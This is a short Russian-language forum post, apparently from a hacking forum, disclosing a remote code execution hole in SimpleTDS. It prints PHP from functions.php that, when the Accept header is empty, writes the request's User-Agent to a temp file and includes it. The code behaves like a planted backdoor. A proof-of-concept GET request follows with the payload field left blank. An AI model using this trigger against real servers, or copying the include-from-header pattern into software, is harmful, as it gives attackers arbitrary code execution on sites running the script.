10.10.2013, 12:17
|
|
Guest
Сообщений: n/a
Провел на форуме:
262707
Репутация:
935
|
|
Официальный дистр: http://simpletds.com/download-1_3
Уязвимый код в functions.php (205-215):
PHP код:
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]{
[/COLOR][COLOR="#0000BB"]$accept[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_ACCEPT'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]true[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];
if([/COLOR][COLOR="#0000BB"]$debug[/COLOR][COLOR="#007700"]||[/COLOR][COLOR="#0000BB"]$accept[/COLOR][COLOR="#007700"]) {
[/COLOR][COLOR="#0000BB"]$os_repository[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]tempnam[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]sys_get_temp_dir[/COLOR][COLOR="#007700"](),[/COLOR][COLOR="#DD0000"]'OSV'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$os_repository[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'w'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_USER_AGENT'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp[/COLOR][COLOR="#007700"]);
include_once([/COLOR][COLOR="#0000BB"]$os_repository[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$os_repository[/COLOR][COLOR="#007700"]);
}
}
[/COLOR][/COLOR]
POC:
Код:
Code:
GET /functions.php HTTP/1.1
Host: localhost
User-Agent:
Accept:
Connection: keep-alive
|
|
|
|